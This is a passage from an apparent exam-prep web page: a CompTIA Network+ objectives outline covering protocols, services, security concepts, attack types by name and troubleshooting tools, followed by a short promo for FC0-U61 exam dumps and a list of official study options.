  • Remote Desktop Protocol (RDP) 3389
  • Session Initiation Protocol (SIP) 5060/5061
  • IP protocol types
    1. Internet Control Message Protocol (ICMP)
    2. TCP
    3. UDP
    4. Generic Routing Encapsulation (GRE)
    5. Internet Protocol Security (IPSec)
    – Authentication Header (AH)/Encapsulating Security Payload (ESP)

– Connectionless vs. connection-oriented
Explain the use and purpose of network services. – DHCP

  • Scope
  • Exclusion ranges
  • Reservation
  • Dynamic assignment
  • Static assignment
  • Lease time
  • Scope options
  • Available leases
  • DHCP relay
  • IP helper/UDP forwarding

– DNS

  • Record types
    1. Address (A vs. AAAA)
    2. Canonical name (CNAME)
    3. Mail exchange (MX)
    4. Start of authority (SOA)
    5. Pointer (PTR)
    6. Text (TXT)
    7. Service (SRV)
    8. Name server (NS)
  • Global hierarchy
    1. Root DNS servers
  • Internal vs. external
  • Zone transfers
  • Authoritative name servers
  • Time to live (TTL)
  • DNS caching
  • Reverse DNS/reverse lookup/forward lookup
  • Recursive lookup/iterative lookup

– NTP

  • Stratum
  • Clients
  • Servers
Explain basic corporate and datacenter network architecture. – Three-tiered

  • Core
  • Distribution/aggregation layer
  • Access/edge

– Software-defined networking

  • Application layer
  • Control layer
  • Infrastructure layer
  • Management plane

– Spine and leaf

  • Software-defined network
  • Top-of-rack switching
  • Backbone

– Traffic flows

  • North-South
  • East-West

– Branch office vs. on-premises datacenter vs. colocation
– Storage area networks

  • Connection types
    1. Fibre Channel over Ethernet (FCoE)
    2. Fibre Channel
    3. Internet Small Computer Systems Interface (iSCSI)
Summarize cloud concepts and connectivity options. – Deployment models

  • Public
  • Private
  • Hybrid
  • Community

– Service models

  • Software as a service (SaaS)
  • Infrastructure as a service (IaaS)
  • Platform as a service (PaaS)
  • Desktop as a service (DaaS)

– Infrastructure as code

  • Automation/orchestration

– Connectivity options

  • Virtual private network (VPN)
  • Private-direct connection to cloud provider

– Multitenancy
– Elasticity
– Scalability
– Security implications

Network Implementations – 19%
Compare and contrast various devices, their features, and their appropriate placement on the network. – Networking devices

  • Layer 2 switch
  • Layer 3 capable switch
  • Router
  • Hub
  • Access point
  • Bridge
  • Wireless LAN controller
  • Load balancer
  • Proxy server
  • Cable modem
  • DSL modem
  • Repeater
  • Voice gateway
  • Media converter
  • Intrusion prevention system (IPS)/intrusion detection system (IDS) device
  • Firewall
  • VPN headend

– Networked devices

  • Voice over Internet Protocol (VoIP) phone
  • Printer
  • Physical access control devices
  • Cameras
  • Heating, ventilation, and air conditioning (HVAC) sensors
  • Internet of Things (IoT)
    1. Refrigerator
    2. Smart speakers
    3. Smart thermostats
    4. Smart doorbells
  • Industrial control systems/supervisory control and data acquisition (SCADA)
Compare and contrast routing technologies and bandwidth management concepts. – Routing

  • Dynamic routing
    1. Protocols [Routing Internet Protocol (RIP), Open Shortest Path First (OSPF), Enhanced Interior Gateway Routing Protocol (EIGRP), Border Gateway Protocol (BGP)]
    2. Link state vs. distance vector vs. hybrid
  • Static routing
  • Default route
  • Administrative distance
  • Exterior vs. interior
  • Time to live

– Bandwidth management

  • Traffic shaping
  • Quality of service (QoS)
Given a scenario, configure and deploy common Ethernet switching features. – Data virtual local area network (VLAN)
– Voice VLAN
– Port configurations

  • Port tagging/802.1Q
  • Port aggregation
    1. Link Aggregation Control Protocol (LACP)
  • Duplex
  • Speed
  • Flow control
  • Port mirroring
  • Port security
  • Jumbo frames
  • Auto-medium-dependent interface crossover (MDI-X)

– Media access control (MAC) address tables
– Power over Ethernet (PoE)/Power over Ethernet plus (PoE+)
– Spanning Tree Protocol
– Carrier-sense multiple access with collision detection (CSMA/CD)
– Address Resolution Protocol (ARP)
– Neighbor Discovery Protocol
Given a scenario, install and configure the appropriate wireless standards and technologies. – 802.11 standards

  • a
  • b
  • g
  • n (WiFi 4)
  • ac (WiFi 5)
  • ax (WiFi 6)

– Frequencies and range

  • 2.4GHz
  • 5GHz

– Channels

  • Regulatory impacts

– Channel bonding
– Service set identifier (SSID)

  • Basic service set
  • Extended service set
  • Independent basic service set (Ad-hoc)
  • Roaming

– Antenna types

  • Omni
  • Directional

– Encryption standards

  • WiFi Protected Access (WPA)/WPA2 Personal [Advanced Encryption Standard (AES)/Temporal Key Integrity Protocol (TKIP)]
  • WPA/WPA2 Enterprise (AES/TKIP)

– Cellular technologies

  • Code-division multiple access (CDMA)
  • Global System for Mobile Communications (GSM)
  • Long-Term Evolution (LTE)
  • 3G, 4G, 5G

– Multiple input, multiple output (MIMO) and multi-user MIMO (MU-MIMO)

Network Operations – 16%
Given a scenario, use the appropriate statistics and sensors to ensure network availability. – Performance metrics/sensors

  • Device/chassis
    1. Temperature
    2. Central processing unit (CPU) usage
    3. Memory
  • Network metrics
    1. Bandwidth
    2. Latency
    3. Jitter

– SNMP

  • Traps
  • Object identifiers (OIDs)
  • Management information bases (MIBs)

– Network device logs

  • Log reviews
    1. Traffic logs
    2. Audit logs
    3. Syslog
  • Logging levels/severity levels

– Interface statistics/status

  • Link state (up/down)
  • Speed/duplex
  • Send/receive traffic
  • Cyclic redundancy checks (CRCs)
  • Protocol packet and byte counts

– Interface errors or alerts

  • CRC errors
  • Giants
  • Runts
  • Encapsulation errors

– Environmental factors and sensors

  • Temperature
  • Humidity
  • Electrical
  • Flooding

– Baselines
– NetFlow data
– Uptime/downtime
Explain the purpose of organizational documents and policies. – Plans and procedures

  • Change management
  • Incident response plan
  • Disaster recovery plan
  • Business continuity plan
  • System life cycle
  • Standard operating procedures

– Hardening and security policies

  • Password policy
  • Acceptable use policy
  • Bring your own device (BYOD) policy
  • Remote access policy
  • Onboarding and offboarding policy
  • Security policy
  • Data loss prevention

– Common documentation

  • Physical network diagram
    1. Floor plan
    2. Rack diagram
    3. Intermediate distribution frame (IDF)/main distribution frame (MDF) documentation
  • Logical network diagram
  • Wiring diagram
  • Site survey report
  • Audit and assessment report
  • Baseline configurations

– Common agreements

  • Non-disclosure agreement (NDA)
  • Service-level agreement (SLA)
  • Memorandum of understanding (MOU)
Explain high availability and disaster recovery concepts and summarize which is the best solution. – Load balancing
– Multipathing
– Network interface card (NIC) teaming
– Redundant hardware/clusters

  • Switches
  • Routers
  • Firewalls

– Facilities and infrastructure support

  • Uninterruptible power supply (UPS)
  • Power distribution units (PDUs)
  • Generator
  • HVAC
  • Fire suppression

– Redundancy and high availability (HA) concepts

  • Cold site
  • Warm site
  • Hot site
  • Cloud site
  • Active-active vs. active-passive
    1. Multiple Internet service providers (ISPs)/diverse paths
    2. Virtual Router Redundancy Protocol (VRRP)/First Hop Redundancy Protocol (FHRP)
  • Mean time to repair (MTTR)
  • Mean time between failure (MTBF)
  • Recovery time objective (RTO)
  • Recovery point objective (RPO)

– Network device backup/restore

  • State
  • Configuration

Network Security – 19%
Explain common security concepts. – Confidentiality, integrity, availability (CIA)
– Threats

  • Internal
  • External

– Vulnerabilities

  • Common vulnerabilities and exposures (CVE)
  • Zero-day

– Exploits
– Least privilege
– Role-based access
– Zero Trust
– Defense in depth

  • Network segmentation enforcement
  • Screened subnet [previously known as demilitarized zone (DMZ)]
  • Separation of duties
  • Network access control
  • Honeypot

– Authentication methods

  • Multifactor
  • Terminal Access Controller Access-Control System Plus (TACACS+)
  • Single sign-on (SSO)
  • Remote Authentication Dial-in User Service (RADIUS)
  • LDAP
  • Kerberos
  • Local authentication
  • 802.1X
  • Extensible Authentication Protocol (EAP)

– Risk Management

  • Security risk assessments
    1. Threat assessment
    2. Vulnerability assessment
    3. Penetration testing
    4. Posture assessment
  • Business risk assessments
    1. Process assessment
    2. Vendor assessment

– Security information and event management (SIEM)
Compare and contrast common types of attacks. – Technology-based

  • Denial-of-service (DoS)/distributed denial-of-service (DDoS)
    1. Botnet/command and control
  • On-path attack (previously known as man-in-the-middle attack)
  • DNS poisoning
  • VLAN hopping
  • ARP spoofing
  • Rogue DHCP
  • Rogue access point (AP)
  • Evil twin
  • Ransomware
  • Password attacks
    1. Brute-force
    2. Dictionary
  • MAC spoofing
  • IP spoofing
  • Deauthentication
  • Malware

– Human and environmental

  • Social engineering
    1. Phishing
    2. Tailgating
    3. Piggybacking
    4. Shoulder surfing
Given a scenario, apply network hardening techniques. – Best practices

  • Secure SNMP
  • Router Advertisement (RA) Guard
  • Port security
  • Dynamic ARP inspection
  • Control plane policing
  • Private VLANs
  • Disable unneeded switchports
  • Disable unneeded network services
  • Change default passwords
  • Password complexity/length
  • Enable DHCP snooping
  • Change default VLAN
  • Patch and firmware management
  • Access control list
  • Role-based access
  • Firewall rules
    1. Explicit deny
    2. Implicit deny

– Wireless security

  • MAC filtering
  • Antenna placement
  • Power levels
  • Wireless client isolation
  • Guest network isolation
  • Preshared keys (PSKs)
  • EAP
  • Geofencing
  • Captive portal

– IoT access considerations
Compare and contrast remote access methods and security implications. – Site-to-site VPN
– Client-to-site VPN

  • Clientless VPN
  • Split tunnel vs. full tunnel

– Remote desktop connection
– Remote desktop gateway
– SSH
– Virtual network computing (VNC)
– Virtual desktop
– Authentication and authorization considerations
– In-band vs. out-of-band management
Explain the importance of physical security. – Detection methods

  • Camera
  • Motion detection
  • Asset tags
  • Tamper detection

– Prevention methods

  • Employee training
  • Access control hardware
    1. Badge readers
    2. Biometrics
  • Locking racks
  • Locking cabinets
  • Access control vestibule (previously known as a mantrap)
  • Smart lockers

– Asset disposal

Network Troubleshooting – 22%
Explain the network troubleshooting methodology. – Identify the problem

  • Gather information
  • Question users
  • Identify symptoms
  • Determine if anything has changed
  • Duplicate the problem, if possible
  • Approach multiple problems individually

– Establish a theory of probable cause

  • Question the obvious
  • Consider multiple approaches
    1. Top-to-bottom/bottom-to-top OSI model
    2. Divide and conquer

– Test the theory to determine the cause

  • If the theory is confirmed, determine the next steps to resolve the problem
  • If the theory is not confirmed, reestablish a new theory or escalate

– Establish a plan of action to resolve the problem and identify potential effects
– Implement the solution or escalate as necessary
– Verify full system functionality and, if applicable, implement preventive measures
– Document findings, actions, outcomes, and lessons learned
Given a scenario, troubleshoot common cable connectivity issues and select the appropriate tools. – Specifications and limitations

  • Throughput
  • Speed
  • Distance

– Cable considerations

  • Shielded and unshielded
  • Plenum and riser-rated

– Cable application

  • Rollover cable/console cable
  • Crossover cable
  • Power over Ethernet

– Common issues

  • Attenuation
  • Interference
  • Decibel (dB) loss
  • Incorrect pinout
  • Bad ports
  • Open/short
  • Light-emitting diode (LED) status indicators
  • Incorrect transceivers
  • Duplexing issues
  • Transmit and receive (TX/RX) reversed
  • Dirty optical cables

– Common tools

  • Cable crimper
  • Punchdown tool
  • Tone generator
  • Loopback adapter
  • Optical time-domain reflectometer (OTDR)
  • Multimeter
  • Cable tester
  • Wire map
  • Tap
  • Fusion splicers
  • Spectrum analyzers
  • Snips/cutters
  • Cable stripper
  • Fiber light meter
Given a scenario, use the appropriate network software tools and commands. – Software tools

  • WiFi analyzer
  • Protocol analyzer/packet capture
  • Bandwidth speed tester
  • Port scanner
  • iperf
  • NetFlow analyzers
  • Trivial File Transfer Protocol (TFTP) server
  • Terminal emulator
  • IP scanner

– Command line tool

  • ping
  • ipconfig/ifconfig/ip
  • nslookup/dig
  • traceroute/tracert
  • arp
  • netstat
  • hostname
  • route
  • telnet
  • tcpdump
  • nmap

– Basic network platform commands

  • show interface
  • show config
  • show route
Given a scenario, troubleshoot common wireless connectivity issues. – Specifications and limitations

  • Throughput
  • Speed
  • Distance
  • Received signal strength indication (RSSI) signal strength
  • Effective isotropic radiated power (EIRP)/power settings

– Considerations

  • Antennas
    1. Placement
    2. Type
    3. Polarization
  • Channel utilization
  • AP association time
  • Site survey

– Common issues

  • Interference
    1. Channel overlap
  • Antenna cable attenuation/signal loss
  • RF attenuation/signal loss
  • Wrong SSID
  • Incorrect passphrase
  • Encryption protocol mismatch
  • Insufficient wireless coverage
  • Captive portal issues
  • Client disassociation issues

 

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2022 Updated Verified FC0-U61 dumps Q&As – Pass Guarantee or Full Refund [Q83-Q100]

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2022 Updated Verified FC0-U61 dumps Q&As – Pass Guarantee or Full Refund

FC0-U61 PDF Questions and Testing Engine With 148 Questions

What preparation options are useful for CompTIA FC0-U61 exam?

CompTIA offers all the interested candidates a variety of training options to equip them for success in the certification exam. Those who are looking for passing the CompTIA FC0-U61 test can explore the following resources:

  • Study Guides: They are available in the eBook or paperback format. This tool offers the informative and highly engaging content that will prepare the applicants for the CompTIA FC0-U61 exam.
  • Virtual Labs: These are interactive labs that equip the candidates with the knowledge and skills in the IT fundamentals. The individuals will be able to access browser-based virtual lab environments and complete some practical tasks.
  • e-Learning: This prep option allows you to train anywhere at your own pace. This resource comes with flashcards, videos, and samples of performance-based questions. With practice questions, you can evaluate your capacity before the real exam.
  • Instructor-Led Training: This option covers both live online and in-classroom training, which the individuals can explore. Depending on your work schedule, you can take the in-person training or opt for the virtual option. You should visit the CompTIA website to see the list of the CompTIA training partners available in your area.

 

Please go to 2022 Updated Verified FC0-U61 dumps Q&As – Pass Guarantee or Full Refund [Q83-Q100] to view the test

Certification Path

There is no prerequisite for this exam.

 

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